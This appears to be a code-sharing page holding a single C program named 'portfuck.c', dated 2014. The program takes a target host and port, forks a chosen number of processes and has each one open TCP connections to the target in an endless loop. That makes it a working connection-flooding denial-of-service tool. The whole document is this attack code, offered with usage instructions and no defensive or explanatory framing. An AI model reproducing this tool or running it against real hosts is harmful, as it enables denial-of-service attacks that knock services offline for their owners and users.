lnicola
6/24/2014 - 1:07 PM

portfuck.c

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static struct sockaddr_in remote;

void main(int argc, char **argv)
{
    int sock;
    unsigned char disc;
    unsigned long delay;
    struct hostent *server;

    if (argc < 5) {
	fprintf(stderr,
		"Usage: %s <target> <port> <delay> <disconnect on connect: 0|1> [threads]\n",
		argv[0]);
	exit(-1);
    }
    delay = atoll(argv[3]);
    remote.sin_family = AF_INET;
    remote.sin_port = htons(atol(argv[2]));
    if ((server = gethostbyname(argv[1])))
	bcopy(server->h_addr, (char *) &remote.sin_addr, server->h_length);
    else if ((remote.sin_addr.s_addr = inet_addr(argv[1])) < 0) {
	perror("gethostbyname()");
	exit(-1);
    }
    disc = atoi(argv[4]);
    if (argc > 5) {
    	argc = atoi(argv[5]);
    	if (!argc--)
    	    exit(0);
    for (; argc; argc--)
	if (!fork())
	    break;
    }
    argc = 1;
    while (1) {
	sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &argc, sizeof(argc));
	setsockopt(sock, SOL_TCP, TCP_NODELAY, &argc, sizeof(argc));
	fcntl(sock, F_SETFL, O_NONBLOCK);
	if (connect(sock, (struct sockaddr *) &remote, sizeof(remote)) < 0 && errno == ECONNREFUSED)
	    perror("connect()");
	if (disc)
	    close(sock);
	usleep(delay);
    }
}